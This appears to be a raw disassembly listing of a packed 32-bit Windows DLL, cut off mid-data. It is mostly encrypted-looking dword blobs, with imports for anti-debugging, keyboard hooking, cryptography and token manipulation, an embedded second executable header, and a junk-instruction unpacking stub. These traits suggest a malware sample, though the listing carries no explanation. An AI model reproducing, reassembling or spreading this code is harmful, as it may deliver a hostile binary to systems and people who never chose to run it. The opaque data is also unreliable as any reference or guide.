0F0DF0FF3h, 53CF0C65h, 8195CBE0h, 57FC92A6h dd 21202AF0h, 4B7E6C91h, 0E443EF76h, 17905D66h, 288FD132h dd 2C3B3FBh, 0C37E055Fh, 8CE0FA98h, 6D2973C7h, 0F2E9EAD4h dd 0A2A75AF1h, 8AC9B063h, 0BED51B5Dh, 0DE413D22h, 0AE8F9419h dd 5281BE5Fh, 0B3E9958Fh, 0EBE5A187h, 9B95740Bh, 932683F8h dd 0E1966B98h, 0CA5AD49Ah, 8F2B0DC0h, 0C97A32E8h, 9FDC358h dd 0A7A5C3CEh, 4F4C7AAAh, 0FFAE50CAh, 24FB6D53h, 0B84D3DFEh dd 0F1745734h, 0FE59D480h, 34461D89h, 580EFBA3h, 0CEAD4Fh dd 9A9C922Eh, 650BF88Eh, 0B4673B51h, 0E4EFC0DCh, 1E900D21h dd 4A12D7F9h, 0CEDCFE40h, 0E4B77A64h, 6CE66A4Dh, 0CB57FA26h dd 60DB4B83h, 76357348h, 3969BDF8h, 55F18FD6h, 63AAD1A4h dd 6AF35A8h, 0AB9C79AFh, 4251FB0h, 74C05A7Ah, 6F51FB0Bh dd 7A5BE25Dh, 0BD889614h, 0D9D7F223h, 3565EF15h, 4AAE509Ah dd 0D8D41851h, 0D0235851h, 65537C45h, 13D51DF3h, 0F76712D6h dd 8C22DAB4h, 2FFB9044h, 0D4AE4EA4h, 0ABA2BC95h, 6E54D173h dd 74777A6Fh, 14A7F302h, 6F6BBC25h, 0AE960819h, 67CF71D0h dd 0DB737409h, 1C959128h, 7CB446C0h, 0F632AB28h, 0FF934B0Ch dd 4009C047h, 8955FB38h, 553C7BABh, 1DC7ECFBh, 0D6E051F0h dd 0C8743C31h, 0C68C0343h, 87C1E053h, 0B0F71FDBh, 0FED8AC87h dd 0F84F2202h, 0C3405105h, 173515BAh, 67693BD0h, 0CE56D07Dh dd 2E27D7D2h, 79B26CDAh, 0F6C4BDFAh, 197F7A8h, 69B013D4h dd 5135A621h, 5055DEC6h, 75F87A51h, 6D5451F6h, 8561899Ah dd 0B2E3AE4Dh, 9E4424D0h, 6FF27AFFh, 1655A9C2h, 0D009296Fh dd 0E91989C9h, 327B1311h, 0BB73A262h, 0E0183354h, 0EC1CC221h dd 0D71F9419h, 4086E1C0h, 7CCF4686h, 5AE019E3h, 4059C0FCh dd 0E3721365h, 534C8E18h, 0C9573864h, 0CAD5D485h, 758D67B5h dd 0EDDF94B3h, 0E9D95A06h, 0C644B548h, 7B20A2FDh, 43F38610h dd 88DAAA06h, 518E77BFh, 0AA03FE0Eh, 0D481E6DAh, 0D797E50h dd 4D29837Ah, 0BF94EC48h, 2838F191h, 0E45AE775h, 493B88A5h dd 61EFA68h, 0F16207C8h, 0E8462FD1h, 3548B77Ch, 6E011036h dd 4758F03h, 99376F30h, 0FFF914A7h, 0FDAA21E0h, 0DEFC9E5h dd 0F0D03A1Eh, 32175966h, 1D467284h, 0ED0A5F4Dh, 186C9F25h dd 0ECECE33Eh, 398E7B0Bh, 0CD99EF52h, 4D1EA7FAh, 8FC86E8Bh dd 0E5FB80CCh, 0AE697040h, 0EEABE3A5h, 5B1E88F9h, 0AA355778h dd 124A1BB0h, 3DA77CCFh, 3746666Bh, 0B3980065h, 0C0B5BEF2h dd 15EB22CEh, 98E0488h, 0FFCB676Eh, 0A0921429h, 90A0D38Ch dd 0DBDE631Ah, 6155AA83h, 0AB019F0Ch, 0FE16F94Ch, 0A3B248AEh dd 0D2752B1Bh, 55E557B1h, 0A45D260Fh, 8470F186h, 0EB3172A6h dd 0EA2733C8h, 648440CFh, 4955F4E1h, 9081B022h, 8DC52186h dd 1087B102h, 0A017E205h dd 0AA9B8EDFh, 793CE53h, 4E97C4D9h, 81110443h, 0E238D119h dd 4AD0CBF9h, 9B25579Dh, 0F98B697Bh, 49D1911Eh, 0B07450BDh dd 0D338333Fh, 36F302Ch, 0ADBE6502h, 151BF1FEh, 1508359Ah dd 54916E98h, 39519023h, 90034784h, 29B6D60h, 3EA9FB39h dd 26A6E845h, 9EDBDCE9h, 6D04B9F4h, 58E9307Bh, 0F6FE65CFh dd 0C5F308BFh, 0FE03EDC0h, 6055C42Ah, 5116A29Ch, 1E75B59h dd 82CEAD59h, 29CAD588h, 50C6758Ah, 0C5BD77DCh, 0A0AFA65Fh dd 516BE65Ch, 7D742276h, 3414865Fh, 35E1AF1Bh, 809A20C2h dd 6BBE2091h, 0B719BD79h, 17EF1851h, 0C591881Fh, 1C169A7h dd 0C5E54E1Bh, 0C3C8B169h, 0F3ED9084h, 22219AF5h, 0CC8DEC2Dh dd 8058DD7Fh, 0DC29F0A6h, 0E2103BF1h, 42F5C51Ch, 0B0521B33h dd 0E6464A8Ch, 0E1F047Ah, 428CB755h, 0B0E8F62h, 0D4063C07h dd 78h, 26h dup(0) dd 3174h, 3064h, 3 dup(0) dd 32FEh, 30B8h, 3 dup(0) dd 342Eh, 30F8h, 3 dup(0) dd 34D2h, 3120h, 5 dup(0) dd 3182h, 3194h, 31ACh, 31C0h, 31D4h, 31E8h, 3204h, 3212h dd 321Ah, 322Eh, 3248h, 3258h, 3266h, 3278h, 3288h, 32A2h dd 32B4h, 32C2h, 32D4h, 32E6h, 0 dd 330Ah, 3318h, 332Eh, 3348h, 3356h, 336Ch, 3380h, 3394h dd 33A8h, 33BEh, 33CEh, 33E0h, 33F2h, 3404h, 3414h, 0 dd 3438h, 3444h, 345Ah, 346Ah, 3476h, 348Eh, 34A8h, 34BCh dd 34CAh, 0 dd 34E0h, 34FAh, 350Ch, 351Ch, 3534h, 3548h, 3560h, 3572h dd 3582h, 3590h, 35A8h, 35BCh, 35D4h, 35E6h, 35F6h, 3606h dd 361Ah, 362Ah, 363Ah, 365Ch, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0 aVirtualprotect db 'VirtualProtect',0 align 4 dd 65530000h, 6E614874h, 49656C64h, 726F666Eh, 6974616Dh dd 6E6Fh, 65470000h, 72745374h, 54676E69h, 45657079h, 4178h dd 65470000h, 6D754E74h, 46726562h, 616D726Fh, 4174h, 65470000h dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470000h, 69725074h dd 65746176h, 666F7250h, 53656C69h, 69746365h, 416E6Fh dd 65520000h, 69466461h, 7845656Ch, 0 aSleep db 'Sleep',0 align 10h aIsdebuggerpres db 'IsDebuggerPresent',0 align 4 aGetprocessprio db 'GetProcessPriorityBoost',0 dd 69460000h, 6552646Eh, 72756F73h, 416563h, 54550000h dd 69676552h, 72657473h, 0 aIsbadstringptr db 'IsBadStringPtrW',0 dd 75420000h, 43646C69h, 446D6D6Fh, 574243h, 72540000h dd 746E4579h, 72437265h, 63697469h, 65536C61h, 6F697463h dd 6Eh, 50746547h, 41636F72h, 65726464h, 7373h, 78450000h dd 72507469h, 7365636Fh, 73h, 54746547h, 61657268h, 6D695464h dd 7365h, 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h dd 656C6544h, 72436574h, 63697469h, 65536C61h, 6F697463h dd 5355006Eh, 32335245h, 4C4C442Eh, 0 aShowwindow db 'ShowWindow',0 align 4 dd 654D0000h, 67617373h, 786F4265h, 69646E49h, 74636572h dd 41h, 616F7242h, 73616364h, 73795374h, 4D6D6574h, 61737365h dd 576567h, 65440000h, 676C4466h, 636F7250h, 41h, 6E65704Fh dd 646E6957h, 7453776Fh, 6F697461h, 416Eh, 6F4C0000h, 654D6461h dd 6E49756Eh, 65726964h, 577463h, 73490000h, 6C616944h dd 654D676Fh, 67617373h, 4165h, 6E550000h, 69676572h, 72657473h dd 73616C43h, 5773h, 64440000h, 65755165h, 654E7972h, 65537478h dd 72657672h, 0 aImpqueryimea db 'IMPQueryIMEA',0 align 4 aSetwindowshook db 'SetWindowsHookA',0 dd 65520000h, 74736967h, 6C437265h, 57737361h, 0 aDialogboxparam db 'DialogBoxParamW',0 dd 654D0000h, 67617373h, 786F4265h, 577845h, 65520000h dd 74736967h, 69577265h, 776F646Eh, 7373654Dh, 41656761h dd 44470000h, 2E323349h, 4C4C44h, 6E490000h, 74726576h dd 6E6752h, 65470000h, 686E4574h, 6174654Dh, 656C6946h dd 73746942h, 0 aSettextalign db 'SetTextAlign',0 align 10h aStartdocw db 'StartDocW',0 align 4 aPlayenhmetafil db 'PlayEnhMetaFileRecord',0 align 4 aGetsystempalet db 'GetSystemPaletteEntries',0 dd 65530000h, 42494474h, 54737469h, 7665446Fh, 656369h dd 65530000h, 74654D74h, 6E675261h, 0 aChord db 'Chord',0 aAdvapi32_dll db 'ADVAPI32.DLL',0 align 4 dd 72430000h, 45747079h, 506D756Eh, 69766F72h, 54726564h dd 73657079h, 57h, 70797243h, 65724374h, 48657461h, 687361h dd 704F0000h, 65536E65h, 63697672h, 5765h, 624F0000h, 7463656Ah dd 6E65704Fh, 69647541h, 616C4174h, 576D72h, 72430000h dd 47747079h, 72507465h, 6150766Fh, 6D6172h, 72430000h dd 41747079h, 69757163h, 6F436572h, 7865746Eh, 4174h, 72430000h dd 44747079h, 76697265h, 79654B65h, 0 aCrypthashdata db 'CryptHashData',0 align 4 aIsvalidsid db 'IsValidSid',0 align 4 dd 65470000h, 6D614E74h, 65536465h, 69727563h, 6E497974h dd 416F66h, 65530000h, 746E4574h, 73656972h, 63416E49h dd 416Ch, 75420000h, 54646C69h, 74737572h, 69576565h, 614E6874h dd 41656Dh, 704F0000h, 68546E65h, 64616572h, 656B6F54h dd 6Eh, 70797243h, 636E4574h, 74707972h, 0 aInitializesid db 'InitializeSid',0 align 4 aAdjusttokengro db 'AdjustTokenGroups',0 align 10h aReporteventa db 'ReportEventA',0 align 10h aCryptdecrypt db 'CryptDecrypt',0 align 10h aLookupsecurity db 'LookupSecurityDescriptorPartsA',0 align 10h dd 72430000h, 53747079h, 72507465h, 6150766Fh, 6D6172h dd 0 dd 496C9E67h, 0 dd 36C0h, 1, 2 dup(4), 3698h, 36A8h, 36B8h, 11A8h, 11ACh dd 1719h, 11A2h, 36CDh, 36DDh, 36EFh, 3701h, 10000h, 30002h dd 736E6562h, 7974726Fh, 6C6C642Eh, 6C6C4400h, 556E6143h dd 616F6C6Eh, 776F4E64h, 6C6C4400h, 43746547h, 7373616Ch dd 656A624Fh, 44007463h, 65526C6Ch, 74736967h, 65537265h dd 72657672h, 6C6C4400h, 65726E55h, 74736967h, 65537265h dd 72657672h, 3Bh dup(0) dd 1000h, 26h, 3152301Eh, 32FB31A8h, 34743398h, 372C358Ah dd 38353758h, 399938F7h, 3AC83A7Ah, 3B52h, 41Ch dup(0) dword_406A9C dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0F0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 1Dh dup(0) dd 4550h, 2014Ch, 496C9E5Ch, 2 dup(0) dd 10F00E0h, 5010Bh, 1C00h, 600h, 0 dd 2 dup(1000h), 3000h, 400000h, 1000h, 200h, 4, 0 dd 4, 0 dd 5000h, 400h, 0B2CDh, 2, 100000h, 1000h, 100000h, 1000h dd 0 dd 10h, 2 dup(0) dd 3000h, 28h, 1Ch dup(0) dd 7865742Eh, 74h, 2000h, 1000h, 1C00h, 400h, 3 dup(0) dd 60000020h, 6164722Eh, 6174h, 2000h, 3000h, 600h, 2000h dd 3 dup(0) dd 0C0000040h, 72h dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFBCh pusha mov cx, 9C5Dh not ecx lea edi, ds:0FFADA247h mov dx, 80E9h push 40104Ch mov edi, ecx mov ecx, 213083F9h mov cx, 1DFCh lea ecx, ds:7549DE2Ah sbb ecx, 97942BBh not ecx lea ebx, ds:10F1A4Dh mov edi, esi retn ; --------------------------------------------------------------------------- dw 0CEC1h dd 7071B91Dh, 0E7812D1Eh, 0DF966D2Bh, 4BDF45C7h, 816E7265h dd 0BB3B11F2h, 16EDBB6Dh, 0DA33853Ah, 0DF81D1F7h, 652FBAA3h dd 0DEF7DBF7h, 45C7DFF7h, 336C65E3h, 0C1D7F732h, 0F9330CE3h dd 759BC8BFh, 0E745C789h, 6C6C642Eh, 0DBC1DE33h, 3DC18100h dd 0F7156E8Ch, 16CFC1DBh, 0D8DD1F7h, 394E1860h, 0EB45C6h dd 0B966CE87h, 0EEC1C184h, 0C1CE8905h, 458D05E1h, 0F7F033C8h dd 33F189DBh, 91D8DDCh, 0BF114A81h, 8164FCACh, 0CB59AFBFh dd 50D98B95h, 0F70ECEC1h, 9D1C1D7h, 995C158Dh, 0D3813100h dd 0F51C3E04h, 8B90FD33h, 0BBB66FEh, 0A9158DA4h, 87F5351Ch dd 81D6F7CEh, 0F7E258E3h, 90CE8955h, 4497BF66h, 1D8DF28Bh dd 1FECAD77h, 0D78BCE89h, 0DFA1BE66h, 90FBE9BAh, 8DDA89D5h dd 0C3C1DF45h, 0D5E28103h, 0B9EFA9BCh, 6DB20EDDh, 0B353DA81h dd 0CF8BD16Fh, 441B3FBEh, 0B5BF50A9h, 0F7FFC409h, 11BF66DFh dd 513D8DD5h, 816DC0FCh, 0E8FAF7EEh, 0A415FF7Fh, 0B9004030h dd 95DDDF6Ch, 8D18CBC1h, 0A6CB9D1Dh _text ends ; Section 2. (virtual address 00007000) ; Virtual size : 00006000 ( 24576.) ; Section size in file : 00006000 ( 24576.) ; Offset to raw data for section: 00007000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 407000h dd 0F7D18BBFh, 0F1BF90D6h, 81C112FAh, 179791DFh, 1ECAC1C1h dd 0DEF7D9F7h, 0E7C1C833h, 9CBB6610h, 158D90ADh, 572204Dh dd 85A198BBh, 0FFDAF7D5h, 40308015h, 33F63300h, 50D6F7D8h dd 0B8BED633h, 339138CDh, 66CE89FAh, 813B62BFh, 97FBDDDAh dd 90CF8B6Dh, 0E53DCA81h, 1D8DF548h, 6DBF4211h, 661EE9C1h dd 66FF43BFh, 90649DBEh, 1A56BB66h, 0F82F0D8Dh, 0EB817900h dd 0CF830000h, 0D033FA8Bh, 45C7D6F7h, 676552C8h, 22D28169h dd 337F9893h, 0C7D2F7FAh, 7473CC45h, 0ABBA7265h, 89D126CDh dd 0BABF66F1h, 0C7F2876Ah, 6553D045h, 0DBF77672h, 0CA33DAF7h dd 321BB966h, 57C0358Dh, 8D904FF1h, 21B27115h, 33D13375h dd 86B966D9h, 81D38781h, 290B7BE1h, 0B87AB9C1h, 3D8DB559h dd 815A8919h, 0D610BA90h, 0DBF1525h, 666D9263h, 0C7C1FEBEh dd 6369D445h, 0EB815065h, 1564975Ch, 0C381F033h, 95C0916Eh dd 0B5FD29BBh, 16E1C16Fh, 0F38BD2F7h, 4561358Dh, 45C755C8h dd 636F72D8h, 77EE8165h, 0BFE10E71h, 95F43CBEh, 0E7C1D9F7h dd 1D1C114h, 0FE8C158Dh, 0D8DEF92h, 0CDD7557Bh, 0DC45C766h dd 0CA817373h, 7135B75Fh, 0ACCBC0BAh, 0D6EE814Fh, 8DD5B440h dd 0B46F53Dh, 66FA87F5h, 8D6417BFh, 1BD61935h, 0DE45C649h dd 0CDBA6600h, 2E9C10Eh, 0F833F781h, 81907938h, 860371F1h dd 9C358D95h, 87A163A2h, 90D7F7CBh, 8B1DD6C1h, 0B9D68BD9h dd 0EF905D84h, 0C71158Dh, 1D8DFD2Ch, 0CD8643BEh, 0D7F7DD33h dd 308815FFh, 0CFC10040h, 18E3C11Bh, 0DEDAD781h, 0CA875F82h dd 4E55BF66h, 3D8DDFF7h, 0DFFB66B5h, 840FC00Bh, 0A6h, 0DEF7DF89h dd 0F706C3C1h, 0EBEA81D6h, 0F72F8CEDh, 0DEF790D7h, 0D033CB89h dd 62D8E381h, 0E0BEF55Fh, 0C155E0DAh, 0D6F70AD1h, 0AB9A99BAh dd 1D8D900Fh, 2FEEB413h, 8D07E6C1h, 55EFBF15h, 66D2F725h dd 812250BBh, 0C6E3DACBh, 8CD2F7CDh, 0E334B9C8h, 0F981797Bh dd 0DD566EEAh, 0E281D9F7h, 0EDBB988Ch, 0D8DDBF7h, 0D13F9EA2h dd 0E40ACB8Bh, 34850Fh, 0C3C10000h, 0B9DAF719h, 0A57B794Dh dd 26B3BE66h, 0C2A5BA66h, 0DAB9006Ah, 0F7A160ADh, 17D7C1DEh dd 309815FFh, 0C9C10040h, 0C1DFF71Ch, 0DF8915E3h, 0ED9BFE81h dd 0F8833165h, 0BED78B05h, 0C90AEB3Ah, 0E681D333h, 6FE20B87h dd 7EE41D8Dh, 0DFF795CDh, 9368D633h, 66000002h, 0BE7310BAh dd 215159CDh, 458FD7F7h, 0C1F287ECh, 0D1F71ACEh, 0C109EEC1h dd 0F79004EAh, 1FDEC1D2h, 0B912E1BAh, 8135BF55h, 0DAC13544h dd 47F98114h, 0C7293EBDh, 699CF045h, 0CBC1AFFBh, 6DCE8109h dd 0F76D7DA9h, 52F389DFh, 0C103CBC1h, 0BF6615C7h, 0DBF73F99h dd 6537E6B9h, 66D9F741h, 8B4E69BAh, 0DFF750F7h, 907EBA66h dd 331EC1C1h, 0F7DA33CBh, 0C2BB66DAh, 0DC15FF52h, 66004030h dd 0F73C5CBEh, 0BADE89D3h, 0D50844D8h, 6605D2C1h, 0C12DB4BFh dd 0D8D16EEh, 8FA9B911h, 53ED6335h, 22C981AAh, 8DCDC74Dh dd 301F873Dh, 0C1DAF7F5h, 60BE08CAh, 0C1958CCEh, 458909DBh dd 33D6F7F4h, 17D2C1F6h, 8A0E8EBEh, 4D9C1AFh, 0F4D18190h dd 81ED02C0h, 0ABBEC7FAh, 90F2891Fh, 8BBEFE87h, 3395F646h dd 15D7C1CEh, 18A164h, 0D7810000h, 5561F3CDh, 0C703D8Dh dd 3D8D5FC6h, 15CB7FC1h, 0C181D1F7h, 0D5F20E59h, 0DDFDDFB9h dd 30408BD5h, 8256C181h, 51B96F90h, 8D1FF499h, 7261EF35h dd 0F7DA8B81h, 1ED1C1D1h, 1273358Dh, 70FFCFC1h, 96E68102h dd 33D5CFE0h, 0F7DD33DCh, 61BB66D3h, 50CE3398h, 6BFFB89h dd 8D4FE0A1h, 38DF370Dh, 50C9810Dh, 0F7413D01h, 0BFEE81D9h dd 90EF84D0h, 0BA2783BFh, 8DD93395h, 50E1B515h, 3D8D9095h dd 0B1551B28h, 0D2C1D1F7h, 33F78B10h, 90CA81FBh, 0F7CFE38Fh dd 240C7DBh, 2D2D2D2Dh, 2B1FBF66h, 0D37ABE66h, 0EAC1F033h dd 0F7D13301h, 0A5C781DEh, 0C1BFE2F6h, 15FF0FCBh, 403068h dd 0CE5FB966h, 0A696B966h, 0D78BD2F7h, 840FC00Bh, 0FFFFFE00h dd 60BCBF66h, 0EA81F733h, 1F931576h, 0BB66E08Ah, 0D381F7D3h dd 95F6D5BAh, 606C0D8Dh, 0FA870F8Ah, 0F281D987h, 815DECECh dd 3312BB66h, 0BA26BF66h, 5FDF8190h, 0C155B0FAh, 0D78111EBh dd 556218B2h, 383CBF66h, 0D533D6F7h, 6690CA33h, 0F712CABBh dd 0C1F733DBh, 0FC3308C8h, 3319CAC1h, 7CFC1F4h, 0CC4F358Dh dd 0D9873FF6h, 0CA33E08Ah, 5105EB81h, 358D15EBh, 692DEF87h dd 0F708C8C1h, 0CC09B9DAh, 0BF663D68h, 0DE897149h, 88D8E681h dd 35B9496Ah, 0F76139B6h, 89E08AD1h, 8DD9F7D6h, 2F9B9F0Dh dd 52A3BB19h, 4589CD8Fh, 95B966F8h, 0C1F23382h, 64BF1BC1h dd 66ED9F36h, 0C1EC0DB9h, 8D901FE3h, 2D3FBD35h, 66D43355h dd 87C7B6BFh, 0F7DBF7D3h, 90D833DBh, 0EB39358Dh, 358DB526h dd 9FAE87EAh, 0FB071D8Dh, 0D689B959h, 2D70F281h, 0CB8BC54Eh dd 0D833DE89h, 12B96658h, 0EA0D8DF0h, 815FD00Bh, 5492B9F2h dd 2408F5Dh, 0FF33D9F7h, 0AF70BB66h, 0BE0ED9C1h, 0EFDAB837h dd 89FC458Dh, 0B9D3F7D3h, 49150914h, 89DBF750h, 0F7FE33FEh dd 8D406AD2h, 0EC0EC53Dh, 4134BED5h, 0EFC19FC3h, 0F7D1F704h dd 18DEB9DFh, 0B868ED94h, 0C100000Eh, 0C8330EC6h, 0F712C1C1h dd 79BA66D1h, 68CF334Ch, 401B88h, 0EBA386B9h, 903D8D15h dd 0F7695955h, 66F38BDFh, 0B974C9BAh, 57AD778h, 6AF14CBAh dd 0FFDBF705h, 40307015h, 19CBC100h, 0BF66DFF7h, 5DB9B73Fh dd 6695B1D1h, 8B0194BEh, 4AF381CAh, 90EFA794h, 0CAC1DEF7h dd 81D9F710h, 6C9A4EF3h, 7ABB6681h, 0E8158DE6h, 66415564h dd 0F7E89EB9h, 33B990D3h, 0C15FBFD4h, 0F18B10CFh, 0C11EE3C1h dd 458D1DE3h, 0F8DF81C4h, 0C1CDDE80h, 358D0ED3h, 0DFA77943h dd 68h, 0E2D181F0h, 0BE4FAA58h, 0C546D22Ah, 6619CBC1h dd 335FB1BEh, 6AF033FCh, 0CBBA6601h, 19EFC1BBh, 14DEBF66h dd 0CE89DEF7h, 0BE66DEF7h, 158D1A09h, 0D147B572h, 0D9F7006Ah dd 1B9F233h, 6AF57FF9h, 8DD83300h, 4AD6D73Dh, 281D8D11h dd 89B52B6Bh, 0DA8150F9h, 14C7A23h, 0E856C0B9h, 81D6F77Fh dd 0BDC74BF7h, 0F815FFCFh, 66004030h, 330B6ABEh, 66CE8BD0h dd 0F72681BFh, 6DBE66DBh, 0D7899096h, 870CC9C1h, 99F281CBh dd 90BD62D3h, 8D08C6C1h, 35F2F43Dh, 6D1C17Dh, 0B76D60BFh dd 5DBC1CDh, 0EE7F158Dh, 0C781CDFBh, 0D5AC1FABh, 49EEBF66h dd 0C1C0458Dh, 0BA660FE7h, 0DD338491h, 54ECCF81h, 56BFEDE7h dd 50951314h, 0DBF7D7F7h, 0BE66F733h, 0E2C1182Ch, 0F7006A04h dd 1AD7C1DFh, 43783CBBh, 8D006A2Dh, 331171Dh, 81D9F7F5h dd 4FDB86C6h, 0BCBF6671h, 0BF3D8D2Bh, 6895D069h, 8003h dd 0D6F7D387h, 158DDFF7h, 0CDD4835Ch, 0FA89DBF7h, 0BBC475FFh dd 19010749h, 0BE66DD33h, 0D6C1B0F7h, 0F599BA09h, 0EFC16DCBh dd 2415FF19h, 33004031h, 81DEF7D0h, 0AE17C7E2h, 0C1FF338Fh dd 8D901CC3h, 86F15535h, 1F358D7Fh, 0C1D10643h, 358D04D6h dd 9FCAE272h, 4B71C181h, 0FE8B55BAh, 0C190FE87h, 358D14D7h dd 715686A7h, 5836BA66h, 8C8B358Dh, 0DBF78FF9h, 0C1EC458Dh dd 0D9F71DD1h, 0E4C5BA66h, 0BE66D9F7h, 6A9EFDh, 0F718E6C1h dd 19EEC1DFh, 0CB33146Ah, 0DBBED6F7h, 5015CE9Dh, 0A207F181h dd 0CEC14FC4h, 1687BB1Ah, 75FF8568h, 0CFFE81C0h, 811901BBh dd 103105E6h, 32BE6641h, 2815FFA8h, 66004031h, 87951ABEh dd 1CFABED9h dd 0D1F74D35h, 13DB33BFh, 81CF8B29h, 7D3C7ECBh, 0F18B9055h dd 6617E2C1h, 0B9F367BAh, 0B540799Eh, 409F681h, 0EFC16DB3h dd 0BAC68102h, 90796500h, 0EFC1CF8Bh, 1A158D12h, 89C93967h dd 2FB966FAh, 0E7DF8168h, 8D857779h, 0BE66BC45h, 0DD33D53Ah dd 0C118E9C1h, 0D7F712EEh, 0D50B966h, 66CF8950h, 333DB0B9h dd 68CDh, 0FB330080h, 4CED3D8Dh, 0B9667528h, 0BE66EFDBh dd 3D8DAC69h, 3FFD1F77h, 0E27AB966h, 0C3C1D2F7h, 0C075FF17h dd 0DDE97BBBh, 15E2C1CDh, 0C3C1DE87h, 0F9E0BE01h, 0D8D95E9h dd 4FEBB5ACh, 680168h, 17DEC100h, 711B3D8Dh, 0DA814D54h dd 0EDBDFF8Ch, 0F833C933h, 1562BF66h, 0F2FD31BBh, 0C475FF6Dh dd 0DAF7DF33h, 0C9C1D533h, 2FB96610h, 262FBE0Bh, 85BB894Eh dd 8BCD867Fh, 2015FFCAh, 8D004031h, 0C5265C0Dh, 0EC158D55h dd 666527BEh, 8D9C2CBBh, 0E68D391Dh, 0F98B906Dh, 8ED4EA81h dd 0CA87C175h, 6DBFF333h, 337518A1h, 0B0BE66F2h, 0CBCB81DBh dd 90156682h, 0C4A5FB81h, 0B96DA6h, 0F74F9FE8h, 0EB868D3h dd 0F1890000h, 4F323D8Dh, 0F83315EDh, 6E0EBB66h, 48580D8Dh dd 335415F5h, 18C7C1FBh, 5EBBD987h, 87EDE963h, 1B8868FBh dd 0BE660040h, 0D2F7F2FEh, 6ACC33h, 0ACBED78Bh, 89CFE0CBh dd 9C158DF2h, 0F799644Ah, 1F23BBD1h, 0D7C19539h, 17C3C107h dd 0BE66016Ah, 0BBBB58A9h, 33B5707Fh, 0BEDFF7F6h, 0BF8B3147h dd 0E2C1006Ah, 746EBE02h, 0FA8715E4h, 0ACE9CEBEh, 0D7EF81EDh dd 0BBDFA159h, 5FED0567h, 82F7FF81h, 75FF4FD4h, 0BAD2F7BCh dd 6FDA0667h, 0D387CA89h, 0CB87D733h, 0FF1FE6C1h, 40310015h dd 4C48300h, 22D3BF66h, 69B9CE89h, 0C1D5B955h, 9EBA0DC3h dd 66EDA3E4h, 818007B9h, 0AA2FA7D7h, 90DEF7CDh, 84F5EABBh dd 1ABE6615h, 0B6158DE7h, 8D95F367h, 99CCA41Dh, 90D7F79Fh dd 871DD6C1h, 86158DFBh, 0C13944ECh, 0ECB906D1h, 8BEDC3C2h dd 0E9C961CEh, 0 dd 9C0D0104h, 0C7492656h, 0CCFC2A17h, 0C123F96Ah, 0A59EF7B9h dd 4B3523F7h, 55DEDAE6h, 94BA73F5h, 97871B6Dh, 2DE933EDh dd 27E36726h, 0E7A50123h, 8CDB09A9h, 707CABCEh, 41CD48FEh dd 0B39DF87Ch, 55F960BCh, 0A8479F17h, 0BD322D87h, 558B01EEh dd 29599DEEh, 0E56DD063h, 1B5331B7h, 0EB0B28A6h, 0D78003A0h dd 626D210Ch, 0B007BE21h, 92ED500Fh, 0E7E99397h, 2B67AF4Fh dd 58BB67DBh, 26CD1623h, 1E9AF3C0h, 3FB60FC8h, 87266AC9h dd 0A2C4D0A3h, 0FAB23F83h, 0CEA1232Eh, 3E16BC7Ch, 0EBC87B6Ch dd 8B4B768Bh, 73A54E9Dh, 0D07EC7D3h, 0FF58C3A4h, 0E2C013ECh dd 0C2184859h, 28393DD9h, 62CA1DC5h, 4F2A6730h, 20806274h dd 42C39F25h, 303CBBE0h, 94D57546h, 0CFFCBD00h, 573ED059h dd 0D952F447h, 402E3B06h, 462B43C9h, 0DEE6DC2Fh, 0F402C1B2h dd 0B775474Dh, 0D54DF4E6h, 4680C5C7h, 10FDDC2Eh, 21FBC23Ch dd 6DD57FD2h, 0E7CF5CA3h, 9F45784Fh, 7D096E7Bh, 0CADB8644h dd 0DC827E03h, 0D3683842h, 2C8AD80Fh, 4423BCF3h, 0BB2EA455h dd 7CA7C200h, 0C5A47677h, 0A8029088h, 516E58Dh, 0B896448Bh dd 0C2ACA619h, 1035FCEDh, 9B9C9CB1h, 0A1D78866h, 0F7B310C1h dd 9DDA492Fh, 57A4044Fh, 75E0776Fh, 576EB42Dh, 0EFE6B28Ah dd 0D0D4C07Bh, 0F0B8622Ch, 5DADB33Fh, 0A0EE6003h, 1FF80CAEh dd 7CBDC9DAh, 0DC49E35Ah, 0DAEFB51Fh, 8FCEF93Dh, 0F5E8CB10h dd 3D08A37Ch, 88F82DF5h, 0F60B2568h, 225AB9EDh, 9DBCE1CCh dd 0AC914C5h, 3574464h, 1F187B11h, 661AA981h, 9FFD3108h dd 1A4518E9h, 6A86F6F4h, 0ADC5DD62h, 5ABF5866h, 6765D21Eh dd 2A13821Ah, 0ED3056E0h, 72875FEh, 204CCAB2h, 0A3333EEDh dd 37B45891h, 0FDC05C02h, 0A89F0E24h, 645CB8B8h, 6AE04AEDh dd 8F718950h, 4870F0D8h, 49784A5Ch, 32AF498Ch, 0DB58A44Ah dd 3712B715h, 19E9312Eh, 0CA133CEFh, 51E935FBh, 0A991432Dh dd 0BEB9A2Ch, 5ABD4050h, 0BBC5B1D4h, 40897918h, 0BCAB16D8h dd 251B23Ah, 0B33BC40h, 85ABF436h, 7D9310ABh, 95B6B3Dh dd 0B897980Ch, 9C90C546h, 0A8E4AB4Bh, 8CD0647Ah, 6402F45h dd 5A7EF20Bh, 92CF9300h, 0FB0521E1h, 927E6A03h, 97F16A0Dh dd 0B8876D8Dh, 2F09729Ch, 0C4B87CC8h, 6D4D9E01h, 2977CAC7h dd 8FBDA597h, 123E3C36h, 0AC945FF3h, 839E5709h, 35EB636Eh dd 0A0EC3F1Bh, 0E8C00C8Ch, 0C929CFE4h, 0B48A9438h, 704C9175h dd 0A707BFCEh, 0AB2466DDh, 0E7688DAFh, 0B4D6F081h, 0FEC21EE8h dd 0CD34F3B1h, 2936FC86h, 38E604DBh, 6178C78Ah, 64AFBCB5h dd 4C565167h, 16D8A54Fh, 0BABAC35Ah, 2701DA63h, 0E14A9D74h dd 204BC70Eh, 7ED07EC1h, 18BA921Bh, 50C3F678h, 0C871B001h dd 95E60CEBh, 93663D0Fh, 0DE3DE986h, 6D196FEh, 